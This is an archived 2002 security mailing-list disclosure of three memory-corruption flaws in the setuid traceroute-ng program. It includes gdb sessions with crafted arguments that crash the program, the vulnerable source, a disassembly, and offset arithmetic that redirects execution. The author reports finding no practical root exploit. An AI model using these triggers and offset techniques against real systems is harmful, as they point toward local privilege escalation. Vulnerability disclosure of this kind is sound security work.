TracerouteNG - never ending story

From: Paul Starzetz (paulat_private)
Date: Thu Nov 28 2002 - 07:51:08 PST

  • Next message: Roman Drahtmueller: "SuSE Security Announcement: samba (SuSE-SA:2002:045)"

    Hi everyone,
    
    I want to provide some additional information about the recently 
    discovered traceroute-ng flaw. I decided to disclose to details right 
    now because I do not believe that the flaw is easily exploitable.
    
    
    1) The vulnerablilty.
    
    The patch provided by vendors like SuSE is not sufficient. It only 
    closed one of at least 3 different holes.
    
    
    Hole #1 : (closed in the recent patch)
    --------------------------------------
    
    (gdb) r -P -q 1 -n $(perl -e 'print"0"x13000')127.0.0.1
    Starting program: /usr/sbin/traceroute -P -q 1 -n $(perl -e 
    'print"0"x13000')127.0.0.1
    (no debugging symbols found)...(no debugging symbols found)...(no 
    debugging symbols found)...(no debugging symbols found)...
    Program received signal SIGSEGV, Segmentation fault.
    0x400d9634 in strcpy () from /lib/libc.so.6
    
    This is caused by insufficient length checking in the hostname buffer 
    copied from the command line. The buffer is global static so it is 
    located in .bss. The vulnerable code is:
    
    #ifdef VMS_CLD
            av[0] = hostname;
    #endif
            to->sin_addr.s_addr = inet_addr(av[0]);
            if ((int)to->sin_addr.s_addr != -1) {
                    (void) strcpy(hnamebuf, av[0]);
                    hostname = hnamebuf;
            } else {
    
    
    
    Hole #2 :
    ---------
    
    (gdb) r -P -q 1 -n -S -999999 -m 0 localhost
    Starting program: /usr/sbin/traceroute -P -q 1 -n -S -999999 -m 0 localhost
    traceroute to localhost (127.0.0.1), 0 hops max, 40 byte packets
    (no debugging symbols found)...(no debugging symbols found)...(no 
    debugging symbols found)...(no debugging symbols found)...(no debugging 
    symbols found)...
    Program received signal SIGSEGV, Segmentation fault.
    0x08049f3c in strcpy ()
    
    This comes from an array index overflow in the following code:
    
    /*
     * Enter Spray mode
     */
       spray_target = spray_max = spray_total = 0;
       spray_min = SPRAYMAX+1;
    
       /* For all TTL do */
       for (ttl = min_ttl; ttl <= max_ttl; ++ttl) {
          spray_rtn[ttl]=0;
          for (probe = 0; probe < nprobes; ++probe) {
             send_probe(++seq, ttl);
          }
       }
    
    Obviously we can write an (int)0 at any 4 bytes aligned memory location! 
    Furthermore, due to a malloc() just right bevore this code (it is not 
    clear where it comes from in the binary - maybe gcc optimization?) we 
    can write the address returned by malloc at any 4bytes alignet memory 
    location as can be seen from the disassembly:
    
    0x8049f2f <strcpy+4411>:        call   0x8048c54 <malloc>
    0x8049f34 <strcpy+4416>:        mov    %eax,%edx
    0x8049f36 <strcpy+4418>:        mov    0xffffffb0(%ebp),%eax
    0x8049f39 <strcpy+4421>:        shl    $0x2,%eax
    0x8049f3c <strcpy+4424>:        mov    %edx,0x8052880(%eax) <---- malloc 
    write
    0x8049f42 <strcpy+4430>:        mov    0xffffffb0(%ebp),%esi
    0x8049f45 <strcpy+4433>:        xor    %edi,%edi
    0x8049f47 <strcpy+4435>:        add    $0x10,%esp
    0x8049f4a <strcpy+4438>:        inc    %esi
    0x8049f4b <strcpy+4439>:        mov    %eax,%ebx
    0x8049f4d <strcpy+4441>:        cmp    0x804d4cc,%edi
    0x8049f53 <strcpy+4447>:        jge    0x8049f81 <strcpy+4493>
    0x8049f55 <strcpy+4449>:        mov    0x8052880(%ebx),%eax
    0x8049f5b <strcpy+4455>:        movl   $0x0,(%eax,%edi,4)   <---- 0 write
    
    For example, by carefully manipulating the -m and -S arguments, we can 
    jump into the memory allocated by malloc():
    (gdb) bt
    #0  0x08049f53 in strcpy ()
    #1  0x40182bd8 in __DTOR_END__ () from /lib/libc.so.6
    #2  0x4007d9ed in __libc_start_main () from /lib/libc.so.6
    
    location of 0x4007d9ed :
    
    (gdb) x/32xw 0xbffff280
    0xbffff280:     0x0804dacc      0x0804dbac      0xbffff2a8      0x4009133b
    0xbffff290:     0x40182bd8      0x4000bcd0      0xbffff2b8      0xbffff2d8
    0xbffff2a0:     0x4007d9ed      0x0000000a      0xbffff304      0xbffff330
    0xbffff2b0:     0x0804baa0      0x00000000      0xbffff2d8      0x4007d9bd
    
    printf " %d " $(( (0xbffff2a0 - 0x8052880)/4 ))
     -302075256
    
    (gdb) r -P -q 1 -n -S -302075256 -m -302075256 localhost
    Starting program: /usr/sbin/traceroute -P -q 1 -n -S -302075256 -m 
    -302075256 localhost
    traceroute to localhost (127.0.0.1), -302075256 hops max, 40 byte packets
    (no debugging symbols found)...(no debugging symbols found)...(no 
    debugging symbols found)...(no debugging symbols found)...(no debugging 
    symbols found)...
    Program received signal SIGSEGV, Segmentation fault.
    0x08053228 in ?? ()
    
    (gdb) bt
    #0  0x08053228 in ?? ()
    (gdb) disass $eip $eip+16
    Dump of assembler code from 0x8053228 to 0x8053238:
    0x8053228:      add    %al,(%eax)
    0x805322a:      add    %al,(%eax)
    0x805322c:      enter  $0x1803,$0x40
    0x8053230:      add    %al,(%eax)
    0x8053232:      add    %al,(%eax)
    0x8053234:      cmp    %eax,(%eax)
    0x8053236:      add    %al,(%eax)
    End of assembler dump.
    
    LOL :-)
    
    Hole #3:
    --------
    
    Just run with the following arguments:
    
    (gdb) r -P -q 999 -n localhost
    Starting program: /usr/sbin/traceroute -P -q 999 -n localhost
    traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
    (no debugging symbols found)...(no debugging symbols found)...(no 
    debugging symbols found)...(no debugging symbols found)...(no debugging 
    symbols found)...
    Program received signal SIGSEGV, Segmentation fault.
    0x0804a765 in strcpy ()
    (gdb)
    
    This time the vulnerable code is:
    
          for (probe = 0; probe < nprobes; ++probe) {
             send_probe(++seq, ttl);
          }
    
    together with:
    
    send_probe(seq, ttl)
    int ttl;
    int seq;
    {
    ....
    #ifdef SPRAY
            if (spray_mode) {
               spray[seq].dport = up->uh_dport;
               spray[seq].ttl   = ttl;
               bcopy(&op->tv, &spray[seq].out, sizeof(struct timeval));
            }
    #endif
    
    So one can overwrite consecutive memory blocks of type
    
    struct {
            u_long  dport;          /* check for matching dport */
            u_char  ttl;            /* ttl we sent it to */
            u_char  type;           /* icmp response type */
            struct  timeval out;    /* time packet left */
            struct  timeval rtn;    /* time packet arrived */
            struct  sockaddr_in from; /* whom from */
    } spray
    
    starting at the address of 'spray' (which is again located in the heap) 
    with the values stored in out, dport, ttl. So far I looked at this, 
    nothing really sensefull can be overwritten this way. Two candidates are:
    
    [a] the socket descriptor s, which is later used by FD_SET (instant 
    memory writer... :-) - (un)fortunately the system time is stored in s by 
    overflowing the spray array :-)
    
    [b] malloc structures on the heap?
    
    
    Summary
    -------
    
    The are still vulnerabilities in the traceroute-ng package which may 
    lead to a local root compromise, depending on the actual OS running on. 
    I was unable to find an easy way of exploitaion on a SuSE 8.0, but it 
    doesn't mean such one doesn't exist. A potential exploit must either:
    
    [a] change the flow of execution just writing N (int) zeros to adjacent 
    memory cells (self modifying code? find movl something, %eax, write 
    zeros after that .... until something helpfull is reached? - not 
    possible on systems with nonwritable code pages)
    
    [b] or be able to controll the memory returned by an malloc() call
    
    [c] change the flow of execution by writing the spray type data (with 
    the partially controlable content) into adjacent cells
    
    None of them seems very practicable on an x86. Other architectures may 
    present another behaviour. More research must be done on this flaw.
    
    Anyway, in my opinion the code of traceroute-ng breaks with many 
    fundamental secure coding practices, it is hard to believe that such 
    crap has been included on major distributions carrying the suid bit.
    
    with kind regards
    
    /ih
    



    This archive was generated by hypermail 2b30 : Sat Nov 30 2002 - 08:54:51 PST